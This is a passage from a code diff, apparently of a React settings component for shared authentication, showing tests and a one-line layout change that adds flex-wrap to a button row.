// together they are wider than the settings sidebar.
projects = [running()];
hasClaudeToken.mockResolvedValue(true);
render(<SharedAuthSettings />);
const sweep = await screen.findByTestId("shared-auth-sweep");
expect(sweep.parentElement).toHaveClass("flex-wrap");
});
it("enables Authenticate once a container is running", async () => {
projects = [running()];
render(<SharedAuthSettings />);
@@ -283,7 +283,7 @@ export default function SharedAuthSettings() {
</div>
)}
<div className="flex items-center gap-2">
<div className="flex flex-wrap items-center gap-2">
<Button
size="md"
variant="primary"

Some files were not shown because too many files have changed in this diff Show More